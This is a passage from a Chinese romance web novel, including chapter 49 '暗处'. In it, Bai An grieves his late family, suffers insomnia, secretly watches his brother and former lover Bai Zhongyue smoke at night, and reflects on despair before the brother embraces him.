“这次必须拿着,”阮敏把卡塞进柏安手里,“再不收妈妈要伤心了,都已经回来了,用家里的钱是应该的。”
都已经回来了……
柏安松了力气,收下:“谢谢妈妈。”
-
他按照记忆中村里人上坟时会用的东西买了香、金银元宝、纸钱和烧纸,还买了白酒和熟食。到的时候已经过了中午,柏安在坟前待到日头偏西,自己也不记得说了什么,最后给爷爷奶奶和爸妈分别磕了头,就离开了,没回家。
他不敢回。
坐了末班大巴车到市里找了住处过夜,第二天买了最晚班次的火车票回A市。
柏安吃过晚饭才回去,明天要去看长辈,今晚白仲钺会在。
客厅里只有阮敏和白业成,柏安和他们打过招呼就回了房间,没再出门,没有和白仲钺碰面。
可洗过澡躺在床上,照旧失了眠。
凌晨三点钟,实在躺得难受,柏安起身,端着水杯出了房间。
楼梯边沿有灯,不刺眼又足以照明,柏安顺着走下楼,才想起房间有饮水机。但已经走到了这里,去水吧接水还是回房间没有多大区别。
怎么选都没意义。
柏安迈下最后一阶没再动,对着远处落地窗怔怔。
外面庭院里,路灯下,新移栽的松柏树旁有株选育扦插的腊梅正开,晴日里不显眼的雪白在夜色里微微摇晃,恣意又冷清。
风吹落了一朵。
柏安微眯起眼,看着那朵离开枝,又随风远了,不知道最后停到哪处边角。
关门声,脚步声,很轻,但夜太静,柏安听得清清楚楚。
他甚至觉得自己还听见了熟悉的呼吸和心跳。
柏安回过身,看着白仲钺一寸一寸出现在视线内,看着他到楼梯转弯处时面向自己停住。
他们隔着长长的旋转楼梯,上下相对,彼此静默。
后来柏安先开了口,叫他:“哥。”
49.暗处
白仲钺大部分时间不在家里,但每次他回来,柏安必定会失眠整晚。
他一直在控制,可偏偏控制不住。
每一声自虐似的“哥”都是在自我警醒,可偏偏毫无用处。
柏安从不觉得自己是个多执着的人,他不喜欢一条路走到黑,也不喜欢撞过南墙再回头,想要的东西想做的事,如果实在不行就算了。小时候吃鱼总卡刺,次数多了不管鱼有没有刺他都不爱吃了。
他不爱强求,也善于接受,可他不明白到底为什么,在喜欢白仲钺这件事上,明明不可能了,明明这么难受,怎么就淡不了感情改不了路,回不了头。
白仲钺的住处比家里到公司稍近些,起初回家吃饭后都会留在家里住一晚,第二天一早去公司。后来白仲钺说临近年底事情多,很少回来,即便回家也会在晚饭后离开。
过年前后见了很多亲戚,每个人都对柏安很好,无论长辈还是小辈都给了他这个忽然加入的人最大的善意,可越是如此,柏安越觉得喘不过气。
他每被接纳一分,就离白仲钺更远一分,尽管原本就已经隔出天堑。
时日渐长,柏安才发现自己从前对白仲钺了解并不算多。比如他一直知道白仲钺家境好,但没想到会这么好。爷爷奶奶住的疗养院是白家的,A市的中心广场是白家出资建的,他们宿舍里曾经聊过的黄金楼盘也是白家的,白仲钺没成年时名下就有别墅平层等等大小房产十余处。
他没想到的事情不止一两点。
没想到白仲钺说是赚给自己第二份礼物的房子真的是“礼物”,他无比惊叹的超乎常人的厉害不过是白仲钺自证能力的一时兴起。没想到去年跨年时的餐厅属于白家,只有他和白仲钺两个人的露台是特意安排,而他结的账根本不及十分之一。更没想到广场中央的云钟居然是白仲钺亲手设计,由家里出资建造当作他的成年礼。
白仲钺表现出来的优于众人已经是习惯性的特意低调,他们从来都不在一条水平线上,是白仲钺放低自己才让他从没有自惭形秽。
一百多的项链两千多的戒指,他自以为给了当下能力所及最好的东西,其实林林总总加起来都贵不过白仲钺送的一支钢笔的笔尖。
最好的礼物,一个拥有中心广场标志建筑做成年礼的人,竟然会说自己送的东西是他收过最好的礼物。
真的这么觉得吗?又或者只是哄着高兴的随口一句,自己当了真而已。
柏安关上搜索价格的网页,闭眼自嘲地笑出声。
有什么意义呢?现在想这些纠结这些有什么意义?
他叫白子安。
是白仲钺的弟弟。
柏安躺在床上,手心贴墙。
他们曾经有过太多亲密无间的时光,以至于不经意间指尖的触碰都能引发灵魂深处的战栗和渴望。
他惧怕痛苦折磨的求而不得,不想听不想看和白仲钺相关的一切,不想回忆从前,不想在梦里梦见。
又忍不住暗自祈盼能再近哪怕一点点,看得见也好,擦肩而过也好,偶尔碰一下也好。
他是弟弟,还是个肖想自己哥哥的弟弟。
他不想住豪华的房子过优渥的生活,不想要那些超出认知的产业基金或信托理财,不想成为上层社会的一份子,不想做所谓的富二代。不是好的就一定舒适,这不是他熟悉的可以自如融入的环境,他身处其中,又剥离其外。
他想做柏安。
梦醒夜半,他只想做那个有家人、有恋人、有期待的柏安。
从外面阳台传来几不可闻的一声,柏安赤脚下床,到落地玻璃门旁挑开一点垂帘。
咔哒。
细微的声响就在不远处。
是白仲钺。
他们两间卧室的阳台在同侧,中间两道栏杆只隔了半米,几乎算是连着。
柏安屏住呼吸贴近窗帘的缝隙,透过落地玻璃门斜斜看过去。
白仲钺不知道冷似的只穿了身睡衣,手臂支在栏杆上,指间夹了支点燃的烟。
他动作熟练得惊人,像常年酗烟一样,可明明,以前柏安只见过一次。
几十天而已。
恍若隔世。
柏安隐在厚实的窗帘后紧盯着那个身影,很久很久没有这样看过白仲钺了,他没有办法也不能再放肆看他。
明明他们曾那样张扬恣意地相爱,现在却连喜欢的尾梢都要藏进不得见光的暗处。
明明,他曾理所应当地拥有关于这个人的全部,现在却只能做一个不敢出声的偷窥徒。
白仲钺又取了一支烟,咬在嘴里点燃,好一会儿才摊开一直握拳的左手。
是那条项链。
星星金属牌旁,多了枚戒指的项链。
一支烟过半,白仲钺缓缓吸吐一口后把烟咬在唇间,薄薄烟雾里,他把那条项链一圈圈绕在手腕又一圈圈取下,最后缠在并拢的四指上,重新握紧了。
——“哥,我不怪你,可是能不能不要做了又表现出一副深爱的样子?放弃了就是放弃了,是你亲口拒绝、自己不要的。”
——“哥,别再用这种隐忍又难过的眼神看我,也别再戴着这条项链了。”
——“哥,你现在这样,是想表达什么?”
柏安站得腿酸,看得眼睛干疼,白仲钺的烟还是没停。
几支?还是十几支了?
他后悔了,后悔没有按捺自己间歇涌现的怨怼,后悔故意向痛
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处出口中伤。
白仲钺没做错什么。
明知道是兄弟还想逃避、想继续的自己才违常。
柏安放下手,让缝隙消失,让窗帘归于原本的样子。
他走回床边去,断续咳嗽几次,不多时就听见轻轻的声响——白仲钺回去卧室,关了阳台门。
大床按照柏安的习惯从房间中央挪到墙边,柏安向里侧躺,一只手虚蜷贴墙,另一只手搭在腰腹。他看着墙面的暗纹,看着触到墙的手,最后视线下移落到手腕内侧的痣。
白仲钺在这里吻过许多印记,握着他的手腕睡过许多个夜晚。
柏安在寂静里一动不动躺了许久,抬起手覆在腕间的小痣上,握住了自己的手腕。
竟然不知不觉睡着了。
力气似乎大了些,醒时留了一圈红,倒没什么,衣服一遮就好。
他好像终于找到了可以安睡的方法。
总算是难得的,半夜好眠。
-
年后柏安又回去看了爷爷奶奶和爸妈,给他们烧纸、上香、磕头。这次没有待到很晚,在太阳刚偏斜时就离开了。他开了锁,进了门,拔了院子边上齐膝高的枯草,打扫了屋里的卫生,在天黑前离开。
他好像有很多地方可以去,又好像无处可去。
又坐最后一班大巴车去了市里,又在上次那家连锁酒店开了一间房间,买了很多吃的和水,一连几天都在房间。直到有天夜半醒来,拉开窗,看了一会儿出了门。
房间里的窗看不全月亮。
这儿的顶层是四楼,他走到露天连廊处扶着护栏站定,这样向下看,四层楼也不怎么高。
好像伸伸手就能碰到地面。
A大发生过学生跳楼自杀的事,是在白仲钺大一的时候,柏安还没入学。后来柏安听说了很多版本,有人说残疾有人说抑郁还有人说没有救过来,白仲钺说救过来了,但终生瘫痪。
当时两个人聊起来的时候一致觉得再怎样都不该自杀,太不负责任,无论是出于生命可贵还是为父母家人。可现在,柏安在寒风里,在夜色下,忽然理解了为什么有人选择自杀。
他没有自杀的想法,也没有要跳下去的冲动,只是忽然懂了,总有超乎想象之外的缘由,总有当下不能思及的因果。
对自己认知外的事妄自评说,谁都没有资格。
急乱的脚步声响起时柏安还在出神,反应迟了几秒,转头时已经被大力拽进一个久违的怀抱。
“你干什么!你要干什么?”
紧贴着的胸膛被急促的心跳鼓动得不停起伏,柏安愣怔好一会儿才艰难地抽出手来,在白仲钺后背拍了拍。
“你别害怕,我没想自杀。”